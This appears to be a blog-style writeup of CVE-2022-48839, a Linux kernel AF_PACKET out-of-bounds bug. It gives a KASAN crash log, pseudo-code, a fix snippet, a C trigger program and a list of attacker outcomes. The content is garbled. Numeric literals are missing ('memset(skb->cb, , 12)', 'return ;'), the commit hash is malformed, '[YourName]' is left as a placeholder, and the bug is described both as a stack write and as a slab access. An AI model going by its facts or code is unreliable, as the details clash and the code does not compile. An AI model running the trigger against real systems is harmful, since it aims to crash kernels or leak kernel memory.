On modern Linux systems, the AF_PACKET socket family is a core component for packet capturing tools and other network stack monitoring. In early 2022, an out-of-bounds (OOB) memory access bug was found in the kernel’s net/packet/af_packet.c code, specifically within packet_recvmsg(), tracked as CVE-2022-48839. This bug, which occurs in complex situations involving memory-mapped AF_PACKET sockets using PACKET_COPY_THRESH, threatens kernel stability and potential security boundaries.

This post breaks down the vulnerability, the context that triggers it, how it can be (mis)used, and finally, how it was fixed — all in straightforward terms and with code snippets.

Vulnerability Overview

Type: Stack-based out-of-bounds write
Component: AF_PACKET sockets (net/packet/af_packet.c in Linux kernel)
CVE: CVE-2022-48839
Severity: High (local privilege escalation or DoS potential)
Affected Versions: Linux Kernel 5.x before the patch
Discovered by: syzbot (automated kernel bug finder)

What Accidental Behavior Triggered The Problem?

When certain AF_PACKET sockets use mmap() with PACKET_COPY_THRESH, arriving network packets are copied into userspace-accessible ring buffers. Metadata relating to packets is also passed via the skb->cb[] array. In regular cases, this is carefully managed — but with memory-mapped rings, this metadata is not initialized properly for packets enqueued by tpacket_rcv(): It copies uninitialized/sketchy memory into the userspace buffer!

### Crash/Exploit Details

The bug triggers this classic KASAN (Kernel Address Sanitizer) report

BUG: KASAN: stack-out-of-bounds in memcpy include/linux/fortify-string.h:225 [inline]
BUG: KASAN: stack-out-of-bounds in packet_recvmsg+x56c/x115 net/packet/af_packet.c:3489
Write of size 165 at addr ffffc9000385fb78 by task syz-executor233/3631

Due to missing initialization, 12 bytes in skb->cb[] (control buffer) hold garbage.

- User’s call to recvmsg() causes copyout of this uninitialized data (potential info leak and stack overwrite).
- On systems with KASAN or FORTIFY_STRING, this throws a crash. On production, undefined but possibly exploitable memory corruption.

Let's see the simplified pseudo-path

// When packet_capture socket with mmap is used:
int tpacket_rcv(struct sk_buff *skb) {
    // ... preamble
    // queue it for recvmsg() later (but doesn't init skb->cb)
    // ...
}

ssize_t packet_recvmsg(struct socket *sock, struct msghdr *msg, ...) {
    struct sk_buff *skb = /* dequeued from above queue */;
    // later:
    memcpy(dst, skb->cb, 12); // May copy garbage!
}

The Fix

The fix is as simple as zeroing those 12 bytes before the copy to user space, to avoid stale stack contents:

memset(skb->cb, , 12);

Git commit that fixes the issue

> net/packet: fix slab-out-of-bounds access in packet_recvmsg()

Step-by-Step Exploit Scenario

This issue can leak kernel stack data or induce a crash from userspace, as shown in a fuzzing (syzkaller) exploit scenario. While a direct privilege escalation proof-of-concept (PoC) is unclear, an attacker can crash the system or leak kernel data.

Minimal Trigger Example (PoC-ish, C code)

#include <sys/socket.h>
#include <linux/if_packet.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <stdio.h>

int main() {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

    // Set up mmap'd ring
    struct tpacket_req req = {
        .tp_block_size = 4096,
        .tp_block_nr = 1,
        .tp_frame_size = 2048,
        .tp_frame_nr = 2,
    };
    setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    void *ring = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, s, );

    // Set PACKET_COPY_THRESH >  triggers the bug
    int copy_thresh = 150;
    setsockopt(s, SOL_PACKET, PACKET_COPY_THRESH, &copy_thresh, sizeof(copy_thresh));

    // Send a dummy packet from another raw socket or out-of-band.

    char buf[4096];
    // recvmsg triggers the broken memcpy
    recv(s, buf, sizeof(buf), );

    printf("Finished\n");
    close(s);
    return ;
}

- On a vulnerable kernel, running this may crash the kernel or return garbage (potential info leak) in user buffer.

What Could Attackers Do?

- Local Info Disclosure: They could reliably read stack contents (12 bytes per packet) from the kernel, possibly leaking pointers or kernel data structures.
- Kernel Crash (DoS): In exploit environments (KASAN/FORTIFY_STRING), this leads to a crash without privilege escalation.
- Theoretical Code Execution: If attackers can carefully manipulate stack, they may further corrupt kernel execution flow. But practical public exploits don’t seem to exist.

Patch & Mitigation

- Status: Fixed in upstream Linux commit (60c6cfe72b7e78faeebab7d816a7977f01f7b12)

Solution: Update your kernel to any version with this patch applied (5.17+ mainline).

- Workarounds: Avoid untrusted userspace direct access to raw packet sockets, *especially* with mmap and custom thresholds.

Original References

- Syzkaller bug tracker report (Patch discussion)
- Linux kernel patch commit
- CVE database entry (for CVE-2022-48839)

Conclusion

CVE-2022-48839, while technical, is a great example of how a single missing memset() can break kernel security guarantees. If you are running a system where untrusted users can access AF_PACKET, you should upgrade your kernel. Modern fuzzers like syzkaller prove invaluable for finding these subtle and dangerous issues.

Stay up to date and always test your system’s kernel security!

*Original research, code examples, analysis by [YourName]. If you share or reference, please credit and link back!*

Timeline

Published on: 07/16/2024 13:15:11 UTC
Last modified on: 07/18/2024 16:04:39 UTC